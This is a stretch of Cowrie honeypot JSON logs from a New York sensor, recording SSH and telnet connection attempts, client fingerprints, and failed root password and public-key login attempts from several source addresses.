{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:2a:6d:30:4c:b7:cc:29:1f:1a:6c:6a:ea:af:22:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCtuLkw+is/7U/+ADgbBsVkz2qFcgZE2NJdktvt7Y2GiHjqLhNbg8szBooYIjIepyWkiIM9IHs7FlY9tlyO8ShHE1fJys6xaE23Qt7j6I+5S0e293KsyZ0NlvXzvDHsDjpzBzni/MvTLoa1ogwYSWL5YT7YzgW9XrYUiOKUm7n/kc4SGLgpp4exG3FJnvlSXScdPT9SSVQoCH//kp/YL+VNy2lfGGyL2po/50AcCQDzr1RBmlxnTzNQ2vjexAfUl1iSKM/9f3FNZzYdqGCIx9VqRrpECjEWKVMg5Z31kWzD5TJ5MHeqzPyZn1Nw0mIMDqtVhosglrtRc+juNzgyuX2dvGvy+AyWaPmjeI0IxtfyWOlBZW0kNENUv6v1ey4SQ2PS1B9bIEhyKUgcZ1ZQZSboWr1HrARbABTBR0DfHHgFcmQMFS3Wdz5uHZ4RyCKVNxkzDknhqNjgAV5H4AO41xx8g1Zm7zktYh0zNWQkMGroZl+XyEkHyFk8WXMnDSZ1C8c=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.857639Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"33:1a:1c:52:31:99:e9:fd:40:6a:d1:b2:ae:16:a7:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmiERsvzm1sGLmT6FLjK/jJeGwJTotDuUSoAp8CNYk+gl3je9SPVOkSFU74fsWRtzg4uOngkjMs3n2dg71WQ54YKHlxfwVJsYk+4boj1v9IRdcpwTzUDsRcAnYCghN40UVHeno5rjG6TCqcHNpATSdrHeHY/b2SxIQTWARescja/E0uu9LEIyhtGtwA4xkoVxFFV+218iJuerFh7sVC8mhMqOi/m+ajn6q1FIpMCa3JgNTRaGoZt9zjNpVS5XwZ1naR+4+3jeyAwCvS4Khm0axEir8MCyTG73wkMd+L5Hw8xoke1bDkj4oM2AteWiHEJG8II79m9NUDS5xk31TTG1b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 33:1a:1c:52:31:99:e9:fd:40:6a:d1:b2:ae:16:a7:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.904188Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"33:1a:1c:52:31:99:e9:fd:40:6a:d1:b2:ae:16:a7:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmiERsvzm1sGLmT6FLjK/jJeGwJTotDuUSoAp8CNYk+gl3je9SPVOkSFU74fsWRtzg4uOngkjMs3n2dg71WQ54YKHlxfwVJsYk+4boj1v9IRdcpwTzUDsRcAnYCghN40UVHeno5rjG6TCqcHNpATSdrHeHY/b2SxIQTWARescja/E0uu9LEIyhtGtwA4xkoVxFFV+218iJuerFh7sVC8mhMqOi/m+ajn6q1FIpMCa3JgNTRaGoZt9zjNpVS5XwZ1naR+4+3jeyAwCvS4Khm0axEir8MCyTG73wkMd+L5Hw8xoke1bDkj4oM2AteWiHEJG8II79m9NUDS5xk31TTG1b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.908862Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"53:7f:f9:fe:61:02:d0:c5:28:8d:23:14:4a:fa:46:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiZgE5chYO88s1bwa84eZICRNT97WoFzh/+okpCIXukB9J8H6LJBVswsbWLUXkUS5Lq5V++Zmg0H4MfSYeqqbnBqmBbFgg+R9C90sgeySqcW/2mUzcNjHXd84GZPFfy/VU4d8lXID4gNc9oRcK7mdneUiX9Eb+cXDdcUhCnYTIqsat6yQgJ2vR+JCmNI6ltaPMaDvR/O/g/WNT0Kxnx0SdS6q1LUTChowo11xFRaf0ZAeFERF8VFm6ravFvNsW+aBSkASNRuxY37zcK7NMGsB6zOYY8+I/+Va2D1+XQR8MxcUtLOsE/zAZNPaVK/3+v353d0YqDGJsVMeEJQqnY1ez","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 53:7f:f9:fe:61:02:d0:c5:28:8d:23:14:4a:fa:46:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.955491Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"53:7f:f9:fe:61:02:d0:c5:28:8d:23:14:4a:fa:46:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiZgE5chYO88s1bwa84eZICRNT97WoFzh/+okpCIXukB9J8H6LJBVswsbWLUXkUS5Lq5V++Zmg0H4MfSYeqqbnBqmBbFgg+R9C90sgeySqcW/2mUzcNjHXd84GZPFfy/VU4d8lXID4gNc9oRcK7mdneUiX9Eb+cXDdcUhCnYTIqsat6yQgJ2vR+JCmNI6ltaPMaDvR/O/g/WNT0Kxnx0SdS6q1LUTChowo11xFRaf0ZAeFERF8VFm6ravFvNsW+aBSkASNRuxY37zcK7NMGsB6zOYY8+I/+Va2D1+XQR8MxcUtLOsE/zAZNPaVK/3+v353d0YqDGJsVMeEJQqnY1ez","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:16.959976Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:f6:96:92:a3:0f:34:f9:e8:e9:26:24:b4:27:01:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaNqaykwv6IyUEK0TkLq3Cxb3M0AKc/2SCUFpONKWEI5d4LA9iQ/B+cp0n+TcmKsZLy82bCSdA9hrHQw8rEuZ19t2eDJ3OMmaTEC1oT5ASf8OV7CVEF3IkgUHziUiHC6fD+9J7LL2o6P1U0S+2kTIb1/6IR9WsKEDR0TcS9uTUUy1Z4r4+ZxHYcQaJDBHx2CQxAC4B5M2Rr+hCcN3FSV0Nc9bpRcqCqxmfdjLSH8kRl6J7D7kN8zp0JEsWVweUP3/YvXeK1qa4jucs0EWhR3BopcQx9skZ39iagFZEwTBvBR29HxX7U+G736pibTT81jaJvFgqVDo7FCIqV5Cwbzcv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:f6:96:92:a3:0f:34:f9:e8:e9:26:24:b4:27:01:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:17.006961Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:f6:96:92:a3:0f:34:f9:e8:e9:26:24:b4:27:01:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaNqaykwv6IyUEK0TkLq3Cxb3M0AKc/2SCUFpONKWEI5d4LA9iQ/B+cp0n+TcmKsZLy82bCSdA9hrHQw8rEuZ19t2eDJ3OMmaTEC1oT5ASf8OV7CVEF3IkgUHziUiHC6fD+9J7LL2o6P1U0S+2kTIb1/6IR9WsKEDR0TcS9uTUUy1Z4r4+ZxHYcQaJDBHx2CQxAC4B5M2Rr+hCcN3FSV0Nc9bpRcqCqxmfdjLSH8kRl6J7D7kN8zp0JEsWVweUP3/YvXeK1qa4jucs0EWhR3BopcQx9skZ39iagFZEwTBvBR29HxX7U+G736pibTT81jaJvFgqVDo7FCIqV5Cwbzcv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:17.011238Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:17.059038Z","src_ip":"148.153.121.224","session":"f4dd796942c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.89140057563782,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:23.321959Z","src_ip":"152.42.224.71","session":"ab1b55518935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":39356,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b575c9c5f6e","protocol":"ssh","message":"New connection: 103.82.132.16:39356 (10.17.0.5:22) [session: 4b575c9c5f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:31.223725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:31.228314Z","src_ip":"103.82.132.16","session":"4b575c9c5f6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:31.490860Z","src_ip":"103.82.132.16","session":"4b575c9c5f6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"golden","message":"login attempt [root/golden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:32.279752Z","src_ip":"103.82.132.16","session":"4b575c9c5f6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:33.543969Z","src_ip":"103.82.132.16","session":"4b575c9c5f6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":34198,"dst_ip":"159.203.135.109","dst_port":22,"session":"68a4d8debae4","protocol":"ssh","message":"New connection: 103.77.242.62:34198 (159.203.135.109:22) [session: 68a4d8debae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:50.776792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:50.781189Z","src_ip":"103.77.242.62","session":"68a4d8debae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:51.018287Z","src_ip":"103.77.242.62","session":"68a4d8debae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48820,"dst_ip":"10.17.0.5","dst_port":23,"session":"4427ec7c33c0","protocol":"telnet","message":"New connection: 152.42.224.71:48820 (10.17.0.5:23) [session: 4427ec7c33c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:51.202288Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"dialog","message":"login attempt [root/dialog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:51.733088Z","src_ip":"103.77.242.62","session":"68a4d8debae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:52.972976Z","src_ip":"103.77.242.62","session":"68a4d8debae4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48830,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e1b508c039d","protocol":"telnet","message":"New connection: 152.42.224.71:48830 (10.17.0.5:23) [session: 7e1b508c039d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:11:55.465913Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":25196,"dst_ip":"10.17.0.5","dst_port":22,"session":"9bd537534e5f","protocol":"ssh","message":"New connection: 38.93.206.2:25196 (10.17.0.5:22) [session: 9bd537534e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:04.266658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:04.270820Z","src_ip":"38.93.206.2","session":"9bd537534e5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:04.333383Z","src_ip":"38.93.206.2","session":"9bd537534e5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"egor","message":"login attempt [root/egor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:04.510041Z","src_ip":"38.93.206.2","session":"9bd537534e5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:05.566584Z","src_ip":"38.93.206.2","session":"9bd537534e5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.253","src_port":20176,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf2e5190af26","protocol":"ssh","message":"New connection: 94.26.106.253:20176 (10.17.0.5:22) [session: cf2e5190af26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:09.477359Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:09.482351Z","src_ip":"94.26.106.253","session":"cf2e5190af26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.253","src_port":20192,"dst_ip":"10.17.0.5","dst_port":22,"session":"093e1592dddd","protocol":"ssh","message":"New connection: 94.26.106.253:20192 (10.17.0.5:22) [session: 093e1592dddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:09.571916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.3","message":"Remote SSH version: SSH-2.0-libssh_0.11.3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:09.576774Z","src_ip":"94.26.106.253","session":"093e1592dddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:09.664342Z","src_ip":"94.26.106.253","session":"093e1592dddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"soccer","message":"login attempt [1234/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:09.842237Z","src_ip":"94.26.106.253","session":"093e1592dddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:10.933962Z","src_ip":"94.26.106.253","session":"093e1592dddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":53664,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fdba6c7060a","protocol":"ssh","message":"New connection: 89.108.118.91:53664 (159.203.135.109:22) [session: 5fdba6c7060a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:22.508437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:22.512853Z","src_ip":"89.108.118.91","session":"5fdba6c7060a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:22.648705Z","src_ip":"89.108.118.91","session":"5fdba6c7060a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nikita007","message":"login attempt [root/nikita007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:23.058681Z","src_ip":"89.108.118.91","session":"5fdba6c7060a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:24.281991Z","src_ip":"89.108.118.91","session":"5fdba6c7060a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":41236,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fbcbe2c3747","protocol":"ssh","message":"New connection: 103.27.238.114:41236 (159.203.135.109:22) [session: 5fbcbe2c3747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:27.677650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:12:27.682608Z","src_ip":"103.27.238.114","session":"5fbcbe2c3747","protocol":"ssh"}
